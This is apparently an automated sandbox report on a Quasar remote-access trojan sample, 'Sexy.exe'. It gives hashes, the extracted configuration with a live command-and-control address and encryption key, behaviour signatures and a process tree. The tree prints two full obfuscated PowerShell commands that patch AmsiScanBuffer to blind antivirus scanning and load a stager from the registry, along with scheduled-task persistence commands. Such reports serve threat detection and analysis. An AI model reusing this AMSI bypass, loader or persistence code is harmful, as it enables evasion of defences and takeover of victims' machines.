Analysis

  • max time kernel
    1800s
  • max time network
    1592s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    21-04-2024 17:11

General

  • Target

    Sexy.exe

  • Size

    409KB

  • MD5

    4c5faec89139e079202a5208d49ed5a0

  • SHA1

    f26bf551e191af0dd01b5d39ae0c8489d94a877e

  • SHA256

    bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378

  • SHA512

    5d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64

  • SSDEEP

    12288:iBwz9kOUJIOSQoxdKIT00N2f3DPcCYDVouW5:i+JLOsVRi3YCYg

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

147.185.221.19:33587

Mutex

$Sxr-zpFqsQjJJh3miBvVnu

Attributes
  • encryption_key

    LxGS9iJRjIMm1rV0MEzT

  • install_name

    BiosUpdX64YDPS.exe

  • log_directory

    $sxr

  • reconnect_delay

    3000

  • startup_key

    $sxr-mtsha

  • subdirectory

    Windows

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 12 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:588
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1000
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{a1d70545-8ee1-43d4-9df5-7e103b974382}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2960
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
          • Checks SCSI registry key(s)
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2400
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
          • Checks SCSI registry key(s)
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3272
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{a5599c07-9b1f-4d28-b51e-70ab5e545dc7}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2440
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:648
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
        1⤵
          PID:732
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
          1⤵
            PID:916
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
            1⤵
              PID:368
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
              1⤵
                PID:364
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                1⤵
                  PID:696
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                  1⤵
                  • Drops file in System32 directory
                  PID:1056
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1140
                  • c:\windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:3144
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NscIYjMTeLUC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VwOuiMtDLFYrFT,[Parameter(Position=1)][Type]$cfBZPGLcHC)$dhqaesgVAPy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+'l'+'ec'+[Char](116)+''+'e'+''+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+'e',''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+'ea'+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'si'+'C'+''+'l'+''+'a'+'ss'+','+''+'A'+''+'u'+''+'t'+'oC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$dhqaesgVAPy.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+'e'+''+','+''+'H'+''+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$VwOuiMtDLFYrFT).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');$dhqaesgVAPy.DefineMethod('I'+'n'+''+[Char](118)+'o'+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+'i'+'g'+''+[Char](44)+''+'N'+''+'e'+'wS'+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+'a'+''+[Char](108)+'',$cfBZPGLcHC,$VwOuiMtDLFYrFT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $dhqaesgVAPy.CreateType();}$YqosijnbkXWHS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+'s'+'a'+''+[Char](102)+'e'+[Char](78)+''+[Char](97)+'ti'+[Char](118)+''+'e'+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$FGSIlmiIpqBvvy=$YqosijnbkXWHS.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+'o'+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+'a'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$aRjsesMhSNWUxRlQGEX=NscIYjMTeLUC @([String])([IntPtr]);$UAlEllQccqDSyEyirTnYCF=NscIYjMTeLUC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XOwVdZIvKLc=$YqosijnbkXWHS.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+'le'+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+'le').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+'e'+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$vaONYthrwtYHVu=$FGSIlmiIpqBvvy.Invoke($Null,@([Object]$XOwVdZIvKLc,[Object]('L'+'o'+''+[Char](97)+''+'d'+''+'L'+'i'+[Char](98)+'r'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$nUDdtIuczOtamWhye=$FGSIlmiIpqBvvy.Invoke($Null,@([Object]$XOwVdZIvKLc,[Object](''+'V'+''+'i'+'r'+'t'+''+'u'+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$oSKsLSG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vaONYthrwtYHVu,$aRjsesMhSNWUxRlQGEX).Invoke(''+'a'+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+'d'+[Char](108)+'l');$ojSrptxEUlacaYtQd=$FGSIlmiIpqBvvy.Invoke($Null,@([Object]$oSKsLSG,[Object]('Ams'+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+'n'+'B'+'u'+'f'+'f'+'e'+'r'+'')));$GyrYGJzHKy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nUDdtIuczOtamWhye,$UAlEllQccqDSyEyirTnYCF).Invoke($ojSrptxEUlacaYtQd,[uint32]8,4,[ref]$GyrYGJzHKy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ojSrptxEUlacaYtQd,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nUDdtIuczOtamWhye,$UAlEllQccqDSyEyirTnYCF).Invoke($ojSrptxEUlacaYtQd,[uint32]8,0x20,[ref]$GyrYGJzHKy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+'AR'+[Char](69)+'').GetValue('$'+[Char](55)+''+'7'+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:216
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qiuLgcvrqkzD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GzYBAVnaBMZkun,[Parameter(Position=1)][Type]$fgRTVyWXMd)$YwRUAZYMFUS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+''+'e'+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+'e'+''+[Char](100)+','+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$YwRUAZYMFUS.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+'e'+'c'+''+'i'+''+'a'+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+'i'+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+'bl'+'i'+'c',[Reflection.CallingConventions]::Standard,$GzYBAVnaBMZkun).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'ed');$YwRUAZYMFUS.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'','Pu'+'b'+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+'S'+''+'i'+''+'g'+',Ne'+'w'+'Sl'+'o'+''+[Char](116)+','+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+'l',$fgRTVyWXMd,$GzYBAVnaBMZkun).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+'e'+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $YwRUAZYMFUS.CreateType();}$jiqEpFjGgIoEE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+'e'+'m'+'.'+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+'i'+'c'+'r'+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+'.'+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+'e'+''+'t'+'h'+'o'+'d'+'s'+'');$baiamGfryuTvux=$jiqEpFjGgIoEE.GetMethod(''+'G'+'et'+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+'c'+''+[Char](44)+'Sta'+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$eSeSvREAjabHATTMIQs=qiuLgcvrqkzD @([String])([IntPtr]);$mpetPrsDUEFqSvssEyYNUO=qiuLgcvrqkzD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ZStOZcSWXao=$jiqEpFjGgIoEE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$NzQFEAHgvHPMrX=$baiamGfryuTvux.Invoke($Null,@([Object]$ZStOZcSWXao,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+'L'+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$RpPkkvPSOwdbICRzP=$baiamGfryuTvux.Invoke($Null,@([Object]$ZStOZcSWXao,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+'u'+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+'ct')));$KrfNYHl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NzQFEAHgvHPMrX,$eSeSvREAjabHATTMIQs).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+''+'.'+''+[Char](100)+'ll');$qpZdMBJWHWFhnzoAW=$baiamGfryuTvux.Invoke($Null,@([Object]$KrfNYHl,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+'c'+''+'a'+'nBuf'+[Char](102)+''+[Char](101)+''+'r'+'')));$sXjDgGLPpU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RpPkkvPSOwdbICRzP,$mpetPrsDUEFqSvssEyYNUO).Invoke($qpZdMBJWHWFhnzoAW,[uint32]8,4,[ref]$sXjDgGLPpU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qpZdMBJWHWFhnzoAW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RpPkkvPSOwdbICRzP,$mpetPrsDUEFqSvssEyYNUO).Invoke($qpZdMBJWHWFhnzoAW,[uint32]8,0x20,[ref]$sXjDgGLPpU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+'sta'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3180
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                          PID:4992
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k localservice -s nsi
                      1⤵
                        PID:1172
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                        1⤵
                          PID:1264
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k localservice -s EventSystem
                          1⤵
                            PID:1272
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k netsvcs -s Themes
                            1⤵
                              PID:1280
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                              1⤵
                                PID:1368
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                1⤵
                                  PID:1420
                                  • c:\windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:3092
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                    1⤵
                                      PID:1444
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                      1⤵
                                        PID:1540
                                      • c:\windows\system32\svchost.exe
                                        c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                        1⤵
                                          PID:1564
                                        • c:\windows\system32\svchost.exe
                                          c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                          1⤵
                                            PID:1588
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                            1⤵
                                              PID:1684
                                            • c:\windows\system32\svchost.exe
                                              c:\windows\system32\svchost.exe -k localservice -s netprofm
                                              1⤵
                                                PID:1728
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                1⤵
                                                  PID:1840
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                  1⤵
                                                    PID:1848
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                    1⤵
                                                      PID:1860
                                                    • c:\windows\system32\svchost.exe
                                                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                      1⤵
                                                        PID:1920
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                        1⤵
                                                          PID:2036
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2084
                                                          • c:\windows\system32\svchost.exe
                                                            c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                            1⤵
                                                              PID:2136
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2352
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                              1⤵
                                                                PID:2364
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                                1⤵
                                                                  PID:2388
                                                                • c:\windows\system32\svchost.exe
                                                                  c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                  1⤵
                                                                    PID:2560
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2592
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2600
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                                      1⤵
                                                                        PID:2632
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
                                                                        1⤵
                                                                          PID:2648
                                                                        • c:\windows\system32\svchost.exe
                                                                          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                          1⤵
                                                                            PID:2668
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:2868
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:3108
                                                                              • c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
                                                                                1⤵
                                                                                  PID:3228
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of UnmapMainImage
                                                                                  PID:3368
                                                                                  • C:\Users\Admin\AppData\Local\Temp\Sexy.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\Sexy.exe"
                                                                                    2⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4228
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      "schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Sexy.exe" /rl HIGHEST /f
                                                                                      3⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:3532
                                                                                    • C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:428
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        "schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe" /rl HIGHEST /f
                                                                                        4⤵
                                                                                        • Creates scheduled task(s)
                                                                                        PID:4216
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        "schtasks" /delete /tn "$sxr-mtsha" /f
                                                                                        4⤵
                                                                                          PID:4504
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\63eIBINiSevA.bat" "
                                                                                          4⤵
                                                                                            PID:2304
                                                                                            • C:\Windows\SysWOW64\chcp.com
                                                                                              chcp 65001
                                                                                              5⤵
                                                                                                PID:4404
                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                ping -n 10 localhost
                                                                                                5⤵
                                                                                                • Runs ping.exe
                                                                                                PID:1256
                                                                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4348
                                                                                            • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                              "SCHTASKS.exe" /create /tn "$77BiosUpdX64YDPS.exe" /tr "'C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe'" /sc onlogon /rl HIGHEST
                                                                                              4⤵
                                                                                              • Creates scheduled task(s)
                                                                                              PID:208
                                                                                          • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:1488
                                                                                          • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                            "SCHTASKS.exe" /create /tn "$77Sexy.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Sexy.exe'" /sc onlogon /rl HIGHEST
                                                                                            3⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:4708
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3892
                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                          1⤵
                                                                                            PID:3668
                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                              C:\Windows\system32\WerFault.exe -u -p 3668 -s 868
                                                                                              2⤵
                                                                                                PID:5020
                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                C:\Windows\system32\WerFault.exe -u -p 3668 -s 932
                                                                                                2⤵
                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                PID:3708
                                                                                            • c:\windows\system32\svchost.exe
                                                                                              c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                                                                                              1⤵
                                                                                                PID:4716
                                                                                              • c:\windows\system32\svchost.exe
                                                                                                c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                                                                                                1⤵
                                                                                                  PID:3844
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                    PID:4292
                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                    1⤵
